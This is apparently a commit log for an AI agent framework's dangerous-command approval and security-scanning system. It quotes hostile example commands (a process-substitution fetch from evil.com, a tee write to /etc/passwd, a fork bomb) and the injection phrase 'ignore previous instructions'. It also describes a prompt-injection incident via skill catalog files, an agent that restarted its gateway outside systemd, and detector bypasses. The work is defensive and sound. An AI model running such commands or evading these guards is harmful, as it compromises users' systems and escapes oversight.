* feat(approvals): make dangerous command approval timeout configurable
Read `approvals.timeout` from config.yaml (default 60s) instead of
hardcoding 60 seconds in both the fallback CLI prompt and the TUI
prompt_toolkit callback.
Follows the same pattern as `clarify.timeout` which is already
configurable via CLI_CONFIG.
Closes#3765
* fix: add timeout default to approvals section in DEFAULT_CONFIG
---------
Co-authored-by: acsezen <asezen@icloud.com>
Closes gaps that allowed an agent to expose Docker's Remote API to the
internet by writing to /etc/docker/daemon.json.
Terminal tool (approval.py):
- chmod: now catches 666 and symbolic modes (o+w, a+w), not just 777
- cp/mv/install: detected when targeting /etc/
- sed -i/--in-place: detected when targeting /etc/
File tools (file_tools.py):
- write_file and patch now refuse to write to sensitive system paths
(/etc/, /boot/, /usr/lib/systemd/, docker.sock)
- Directs users to the terminal tool (which has approval prompts) for
system file modifications
Prevent the agent from accidentally killing its own process with
pkill -f gateway, killall hermes, etc. Adds a dangerous command
pattern that triggers the approval flow.
Co-authored-by: arasovic <arasovic@users.noreply.github.com>
Previously, tirith exit code 1 (block) immediately rejected the command
with no approval prompt — users saw 'BLOCKED: Command blocked by
security scan' and the agent moved on. This prevented gateway/CLI users
from approving pipe-to-shell installs like 'curl ... | sh' even when
they understood the risk.
Changes:
- Tirith 'block' and 'warn' now both go through the approval flow.
Users see the full tirith findings (severity, title, description,
safer alternatives) and can choose to approve or deny.
- New _format_tirith_description() builds rich descriptions from tirith
findings JSON so the approval prompt is informative.
- CLI startup now warns when tirith is enabled but not available, so
users know command scanning is degraded to pattern matching only.
The default approval choice is still deny, so the security posture is
unchanged for unattended/timeout scenarios.
Reported via Discord by pistrie — 'curl -fsSL https://mandex.dev/install.sh | sh'
was hard-blocked with no way to approve.
detect_dangerous_command() ran regex patterns against raw command strings
without normalization, allowing bypass via Unicode fullwidth chars,
ANSI escape codes, null bytes, and 8-bit C1 controls.
Adds _normalize_command_for_detection() that:
- Strips ANSI escapes using the full ECMA-48 strip_ansi() from
tools/ansi_strip (CSI, OSC, DCS, 8-bit C1, nF sequences)
- Removes null bytes
- Normalizes Unicode via NFKC (fullwidth Latin → ASCII, etc.)
Includes 12 regression tests covering fullwidth, ANSI, C1, null byte,
and combined obfuscation bypasses.
Salvaged from PR #3089 by thakoreh — improved ANSI stripping to use
existing comprehensive strip_ansi() instead of a weaker hand-rolled
regex, and added test coverage.
Co-authored-by: Hiren <hiren.thakore58@gmail.com>
An agent session killed the systemd-managed gateway (PID 1605) and restarted
it with '&disown', taking it outside systemd's Restart= management. When the
orphaned process later received SIGTERM, nothing restarted it.
Add dangerous command patterns to detect:
- 'gateway run' with & (background), disown, nohup, or setsid
- These should use 'systemctl --user restart hermes-gateway' instead
Also applied directly to main repo and fixed the systemd service:
- Changed Restart=on-failure to Restart=always (clean SIGTERM = exit 0 = not
a 'failure', so on-failure never triggered)
- RestartSec=10 for reasonable restart delay
* fix(security): harden terminal safety and sandbox file writes
Two security improvements:
1. Dangerous command detection: expand shell -c pattern to catch
combined flags (bash -lc, bash -ic, ksh -c) that were previously
undetected. Pattern changed from matching only 'bash -c' to
matching any shell invocation with -c anywhere in the flags.
2. File write sandboxing: add HERMES_WRITE_SAFE_ROOT env var that
constrains all write_file/patch operations to a configured directory
tree. Opt-in — when unset, behavior is unchanged. Useful for
gateway/messaging deployments that should only touch a workspace.
Based on PR #1085 by ismoilh.
* fix: correct "POSIDEON" typo to "POSEIDON" in banner ASCII art
The poseidon skin's banner_logo had the E and I letters swapped,
spelling "POSIDEON-AGENT" instead of "POSEIDON-AGENT".
---------
Co-authored-by: ismoilh <ismoilh@users.noreply.github.com>
Co-authored-by: unmodeled-tyler <unmodeled.tyler@proton.me>
* fix: prevent infinite 400 failure loop on context overflow (#1630)
When a gateway session exceeds the model's context window, Anthropic may
return a generic 400 invalid_request_error with just 'Error' as the
message. This bypassed the phrase-based context-length detection,
causing the agent to treat it as a non-retryable client error. Worse,
the failed user message was still persisted to the transcript, making
the session even larger on each attempt — creating an infinite loop.
Three-layer fix:
1. run_agent.py — Fallback heuristic: when a 400 error has a very short
generic message AND the session is large (>40% of context or >80
messages), treat it as a probable context overflow and trigger
compression instead of aborting.
2. run_agent.py + gateway/run.py — Don't persist failed messages:
when the agent returns failed=True before generating any response,
skip writing the user's message to the transcript/DB. This prevents
the session from growing on each failure.
3. gateway/run.py — Smarter error messages: detect context-overflow
failures and suggest /compact or /reset specifically, instead of a
generic 'try again' that will fail identically.
* fix(skills): detect prompt injection patterns and block cache file reads
Adds two security layers to prevent prompt injection via skills hub
cache files (#1558):
1. read_file: blocks direct reads of ~/.hermes/skills/.hub/ directory
(index-cache, catalog files). The 3.5MB clawhub_catalog_v1.json
was the original injection vector — untrusted skill descriptions
in the catalog contained adversarial text that the model executed.
2. skill_view: warns when skills are loaded from outside the trusted
~/.hermes/skills/ directory, and detects common injection patterns
in skill content ("ignore previous instructions", "<system>", etc.).
Cherry-picked from PR #1562 by ygd58.
* fix(tools): chunk long messages in send_message_tool before dispatch (#1552)
Long messages sent via send_message tool or cron delivery silently
failed when exceeding platform limits. Gateway adapters handle this
via truncate_message(), but the standalone senders in send_message_tool
bypassed that entirely.
- Apply truncate_message() chunking in _send_to_platform() before
dispatching to individual platform senders
- Remove naive message[i:i+2000] character split in _send_discord()
in favor of centralized smart splitting
- Attach media files to last chunk only for Telegram
- Add regression tests for chunking and media placement
Cherry-picked from PR #1557 by llbn.
* fix(approval): show full command in dangerous command approval (#1553)
Previously the command was truncated to 80 chars in CLI (with a
[v]iew full option), 500 chars in Discord embeds, and missing entirely
in Telegram/Slack approval messages. Now the full command is always
displayed everywhere:
- CLI: removed 80-char truncation and [v]iew full menu option
- Gateway (TG/Slack): approval_required message includes full command
in a code block
- Discord: embed shows full command up to 4096-char limit
- Windows: skip SIGALRM-based test timeout (Unix-only)
- Updated tests: replaced view-flow tests with direct approval tests
Cherry-picked from PR #1566 by crazywriter1.
---------
Co-authored-by: buray <ygd58@users.noreply.github.com>
Co-authored-by: lbn <llbn@users.noreply.github.com>
Co-authored-by: crazywriter1 <53251494+crazywriter1@users.noreply.github.com>
* feat: smart approvals — LLM-based risk assessment for dangerous commands
Adds a 'smart' approval mode that uses the auxiliary LLM to assess
whether a flagged command is genuinely dangerous or a false positive,
auto-approving low-risk commands without prompting the user.
Inspired by OpenAI Codex's Smart Approvals guardian subagent
(openai/codex#13860).
Config (config.yaml):
approvals:
mode: manual # manual (default), smart, off
Modes:
- manual — current behavior, always prompt the user
- smart — aux LLM evaluates risk: APPROVE (auto-allow), DENY (block),
or ESCALATE (fall through to manual prompt)
- off — skip all approval prompts (equivalent to --yolo)
When smart mode auto-approves, the pattern gets session-level approval
so subsequent uses of the same pattern don't trigger another LLM call.
When it denies, the command is blocked without user prompt. When
uncertain, it escalates to the normal manual approval flow.
The LLM prompt is carefully scoped: it sees only the command text and
the flagged reason, assesses actual risk vs false positive, and returns
a single-word verdict.
* feat: make smart approval model configurable via config.yaml
Adds auxiliary.approval section to config.yaml with the same
provider/model/base_url/api_key pattern as other aux tasks (vision,
web_extract, compression, etc.).
Config:
auxiliary:
approval:
provider: auto
model: '' # fast/cheap model recommended
base_url: ''
api_key: ''
Bridged to env vars in both CLI and gateway paths so the aux client
picks them up automatically.
* feat: add /stop command to kill all background processes
Adds a /stop slash command that kills all running background processes
at once. Currently users have to process(list) then process(kill) for
each one individually.
Inspired by OpenAI Codex's separation of interrupt (Ctrl+C stops current
turn) from /stop (cleans up background processes). See openai/codex#14602.
Ctrl+C continues to only interrupt the active agent turn — background
dev servers, watchers, etc. are preserved. /stop is the explicit way
to clean them all up.
pattern_key was derived by splitting the regex on \b and taking [1],
so patterns starting with the same word (e.g. find -exec rm and
find -delete) produced the same key "find". Approving one silently
approved the other. Using the unique description string as the key
eliminates all collisions.
The fork bomb regex used `()` (empty capture group) and unescaped `{}`
instead of literal `\(\)` and `\{\}`. This meant the classic fork bomb
`:(){ :|:& };:` was never detected. Also added `\s*` between `:` and
`&` and between `;` and trailing `:` to catch whitespace variants.
Restore gateway/run.py to current main behavior while keeping tirith startup
and pattern_keys replay, preserve yolo and non-interactive bypass semantics in
the combined guard, and add regression tests for yolo and view-full flows.
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
When a dangerous command is detected and the user is prompted for
approval, long commands are truncated (80 chars in fallback, 70 chars
in the TUI). Users had no way to see the full command before deciding.
This adds a 'View full command' option across all approval interfaces:
- CLI fallback (tools/approval.py): [v]iew option in the prompt menu.
Shows the full command and re-prompts for approval decision.
- CLI TUI (cli.py): 'Show full command' choice in the arrow-key
selection panel. Expands the command display in-place and removes
the view option after use.
- CLI callbacks (callbacks.py): 'view' choice added to the list when
the command exceeds 70 characters.
- Gateway (gateway/run.py): 'full', 'show', 'view' responses reveal
the complete command while keeping the approval pending.
Includes 7 new tests covering view-then-approve, view-then-deny,
short command fallthrough, and double-view behavior.
Closes community feedback about the 80-char cap on dangerous commands.
Authored by dmahan93. Adds HERMES_YOLO_MODE env var and --yolo CLI flag
to auto-approve all dangerous command prompts.
Post-merge: renamed --fuck-it-ship-it to --yolo for brevity,
resolved conflict with --checkpoints flag.
Adds a fun alias for skipping all dangerous command approval prompts.
When passed, sets HERMES_YOLO_MODE=1 which causes check_dangerous_command()
to auto-approve everything.
Available on both top-level and chat subcommand:
hermes --fuck-it-ship-it
hermes chat --fuck-it-ship-it
Includes 5 tests covering normal blocking, yolo bypass, all patterns,
and edge cases (empty string env var).
Add Daytona to image selection, container_config guards, environment
factory, requirements check, and diagnostics in terminal_tool.py and
file_tools.py. Also add to sandboxed-backend approval bypass.
Signed-off-by: rovle <lovre.pesut@gmail.com>
Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
The regex pattern for detecting recursive delete commands (rm -r, rm -rf,
etc.) incorrectly matched filenames starting with 'r' — e.g., 'rm readme.txt'
was flagged as 'recursive delete' because the dash-flag group was optional.
Fix: make the dash mandatory so only actual flags (-r, -rf, -rfv, -fr)
are matched. This eliminates false approval prompts for innocent commands
like 'rm readme.txt', 'rm requirements.txt', 'rm report.csv', etc.
Before: \brm\s+(-[^\s]*)?r — matches 'rm readme.txt' (false positive)
After: \brm\s+-[^\s]*r — requires '-' prefix, no false positives
